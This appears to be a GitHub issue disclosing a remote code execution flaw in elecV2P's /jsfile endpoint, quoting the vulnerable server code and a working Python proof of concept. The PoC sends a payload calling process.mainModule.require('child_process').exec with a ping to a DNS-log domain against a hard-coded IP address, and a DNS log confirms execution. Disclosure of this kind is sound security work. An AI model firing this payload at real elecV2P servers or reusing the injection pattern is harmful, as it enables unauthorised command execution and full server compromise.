Skip to content

Remote Code Injection #194

@NinjaGPT

Description

@NinjaGPT

Summary

Remote Code Execution (RCE) vulnerability in elecV2P via the /jsfile endpoint. When type=totest, user-supplied jscontent is passed to runJSFile() which executes arbitrary JavaScript code. The sJson function's unsafe use of new Function("return " + str) enables code injection. Attackers can execute system commands via process.mainModule.require('child_process').exec(), achieving full server compromise. DNS callback confirms successful command execution.


Details

  • SOURCE
// source-code/elecV2P-master/webser/wbjs.js#L105C23-L161C4
105→  app.post('/jsfile', (req, res) => {
106→    let jsname = req.body.jsname
107→    let jscontent = req.body.jscontent
108→    clog.info((req.headers['x-forwarded-for'] || req.connection.remoteAddress), 'post', jsname, req.body.type || 'to save')
109→    if (!jsname) {
110→      return res.json({
111→        rescode: -1,
112→        message: 'a name of js is expect'
113→      })
114→    }
115→    switch (req.body.type) {
116→      case 'torun':
117→        runJSFile(jsname, {
118→          from: 'jsmanage',
119→          env: {
120→            wsid: req.body.id
121→          },
122→          cb: wsSer.send.func('jsmanage', req.body.id),
123→          timeout: 5000
124→        }).then(data => {
125→          res.send(sbufBody(data))
126→        }).catch(error => {
127→          res.send('error: ' + error)
128→          clog.error(errStack(error))
129→        })
130→        break
131→      case 'totest':
132→        runJSFile(jscontent, {
133→          type: 'rawcode',
134→          filename: jsname.replace(/\.(js|efh)$/, '-test.$1'),
135→          from: 'test',
136→          env: {
137→            wsid: req.body.id
138→          },
139→          cb: wsSer.send.func('jsmanage', req.body.id),
140→          timeout: 5000
141→        }).then(data => {
142→          res.send(sbufBody(data))
143→        }).catch(error => {
144→          res.send('error: ' + error)
145→          clog.error(errStack(error))
146→        })
147→        break
148→      default:
149→        if (Jsfile.put(jsname, jscontent)) {
150→          res.json({
151→            rescode: 0,
152→            message: `${jsname} success saved`
153→          })
154→        } else {
155→          res.json({
156→            rescode: -1,
157→            message: `${jsname} fail to save`
158→          })
159→        }
160→    }
161→  })
  • SINK
// source-code/elecV2P-master/utils/string.js#L27C1-L65C2
27→function sJson(str, force = false) {
28→  if (!str) {
29→    return force ? Object.create(null) : false
30→  }
31→  let type = sType(str)
32→  switch (type) {
33→    case 'array':
34→    case 'object':
35→      return str
36→    case 'buffer':
37→      return str.toJSON()
38→    case 'set':
39→      return Array.from(str)
40→    case 'map':
41→      return Array.from(str).reduce((obj, [key, value]) => {
42→        obj[key] = typeof(value) === 'object' ? sJson(value) : value
43→        return obj
44→      }, {})
45→  }
46→  try {
47→    let jobj = JSON.parse(str)
48→    if (typeof(jobj) === 'object') {
49→      return jobj
50→    }
51→  } catch (e) {
52→    try {
53→      let obj = (new Function("return " + str))();
54→      if (/^(object|array)$/.test(sType(obj))) {
55→        return obj
56→      }
57→    } catch (e) {}
58→  }
59→  if (force) {
60→    return {
61→      0: str
62→    }
63→  }
64→  return false
65→}

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/jsfile', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

# Define the target URL and endpoint
target_url = "http://34.127.19.15:42863/jsfile"

# Prepare the payload with the malicious code
payload = {
    "jsname": "test.js",  # Required parameter
    "jscontent": "process.mainModule.require('child_process').exec('ping -c 4 $domain')",  # Malicious code to be injected
    "type": "totest",  # Triggering condition
    "id": "test_id"  # Required parameter
}

# Send the POST request to the target
response = requests.post(
    target_url,
    data=payload,
    verify=False,
    allow_redirects=False,
    timeout=30.0
)

# Print the results
print("Status Code:", response.status_code)
print("Response Text:", response.text)
# ********************************** Poc End ***********************************
  • The executed result
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 74.125.80.18, 74.125.80.16, 74.125.186.81, 69.28.61.221, 69.28.61.220, 69.28.61.220, 69.28.61.221, 74.125.80.19, 69.28.61.220, 74.125.80.28
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions